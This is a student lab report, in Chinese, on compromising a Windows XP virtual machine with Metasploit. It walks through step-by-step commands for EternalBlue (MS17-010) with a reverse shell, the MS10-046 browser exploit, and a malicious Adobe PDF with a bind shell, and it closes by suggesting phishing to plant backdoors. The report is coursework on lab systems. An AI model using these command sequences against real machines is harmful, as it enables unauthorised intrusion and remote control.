一、实践步骤
1.1 主动攻击
MS08-067漏洞渗透攻击实践
攻击机: kali
靶机: windows XP Professional(English)
使用指令net stop sharedaccess关闭Windows防火墙,以方便进行之后操作
攻击者试探靶机是否存在ms08_067这个漏洞nmap -sS -A --script=smb-vuln-ms08-067 -PO 192.168.198.129(靶机IP)
(看来没有这个漏洞)
不急,输入nmap -sS -A --script=smb-vuln-* -PO 192.168.198.129看看还有没有其他漏洞
发现有这些漏洞,那我们就用ms17-010这个漏洞看看吧
输入指令 msfconsole 进入控制台,使用指令Search ms17-010指令查询一下针对该漏洞能够运用的攻击模块
输入指令 use exploit/windows/smb/ms17_010_eternalblue进入该攻击模块,使用 show payloads查看能够使用的攻击载荷,我还打错了一次命令
选择shell_reverse_tcp,输入指令 set payload generic/shell_reverse_tcp 设置payload为反向tcp连接
显示连接需要设置的参数show options
接下来部署参数即可
set RHOST 192.168.198.129 //设置靶机
set LHOST 192.168.198.128 //设置攻击机IP
IPset LPORT 51214//设置攻击机端口
exploit
成功了,靶机成功受控,但因为我的误操作导致靶机重启,没来得及截图。。。
1.2 针对浏览器的攻击
这里采用的是ms10_046漏洞攻击
首先查看浏览器漏洞:cd/usr/share/metasploit-framework/modules/exploits/windows/browser
输入 ls 即可看到很多漏洞代码,选择ms10_046_shortcut_icon_dllloader.rb
启动msf,输入search ms10_046先找相关漏洞模块
输入use windows/browser/ms10_046_shortcut_icon_dllloader,使用show payloads查找有效攻击载荷
接下来设置参数
set payload windows/meterpreter/reverse_tcp //选择攻击载荷
set LHOST 192.168.198.128 //设置攻击者
IPset SRVHOST 192.168.198.128 //设置服务器IP(攻击者IP)
exploit //进行攻击
在靶机用浏览器打开生成的链接:http://192.168.198.128:80/
查看会话:sessions
选取会话:sessions -i 1
完成控制
1.3 针对客户端的攻击
启动msf输入search adobe查询针对adobe攻击模块
使用use windows/fileformat/adobe_cooltype_sing 设置模块
输入show payloads查找有效攻击载荷
使用 set payload windows/meterpreter/bind_tcp设置payloads
根据options设置相关参数
set RHOST 192.168.198.129//靶机
ipset LPORT 51214//攻击端口
exploit //生成pdf
使用指令将文件复制到可以复制的文件夹下 cp /root/.msf4/local/msf.pdf /root/桌面/20175124fjx
将生成的msf.pdf 复制到Windows XP中,back退出当前模块,进入监听模块
use exploit/multi/handler //进入监听模块
set payload windows/meterpreter/bind_tcp //选择攻击载荷
set RHOST 192.168.198.129 //靶机
IPset LPORT 5124 //攻击端口
exploit
由于我安装的XP虚拟机没有adobe reader,所以得去下载,下载的版本为9.0
在xp上打开文件,回连成功
1.4 成功应用任何一个辅助模块
server_info
输入show auxiliary查看所有的辅助模块
选择scanner/steam/server_info,输入info scanner/steam/server_info查看模块信息,请求从服务器获取信息,扫描范围默认为10(从起始地址开始往后扫10个),端口固定为UDP端口27015。端口27015只是用作输入/输出的通信端口。
输入use scanner/steam/server_info使用漏洞
输入set RHOSTS 192.168.198.250为起始IP
输入exploit开始攻击
这个网段里没有服务器
二、实验总结与体会
2.1 基础问题回答
用自己的话解释什么是exploit,payload,encode
exploit:漏洞攻击,一个exploit程序肯定会触发系统的一个或多个漏洞,进而程序直接获取到目标系统的部分或所有权限。
payload:有效载荷,是攻击者在目标系统上执行的一段攻击代码,具有反弹连接、创建用户、执行其他系统命令的功能,搞破坏的关键代码。
encode:对载荷进行包装加壳,改变其特征码,保证payload不出现特定字符,避免被查杀。
2.2 实验感受
通过本次实验,我了解了msf的各种具体应用,体会到了其强大的功能。在实验过程中遇到了各种各样的问题,最痛苦的就是一开始参考其他人的实验,但我这个靶机并没有大家都用的那个漏洞,但我转过弯来后发现并不只有这个漏洞可用,在通过网上查询资料后,我做出了用其他漏洞进行攻击的实验,感到了由衷的兴奋之情。通过实验掌握了msf的简单操作,始终牢记不懂就help,不知道是干什么的就info。虽然遇到了各种困难,但是最终都一一解决了,经过这次实验,我的相关能力又得到了提高,这次实验过程并不难,但还是有许多问题。完成之后还是蛮有成就感的。
2.3 离实战还缺些什么技术或步骤?
如果要考虑实战,我认为首先要想办法获取目标机器的基础信息,如系统版本是什么,杀软是哪个,有无通用漏洞等等。其次就是如何连接目标机器或将后门程序植入目标机器,不然即使知道漏洞的存在我们也利用不了,可以通过假邮件,假网页的形式诱骗受攻击者对我们敞开防御。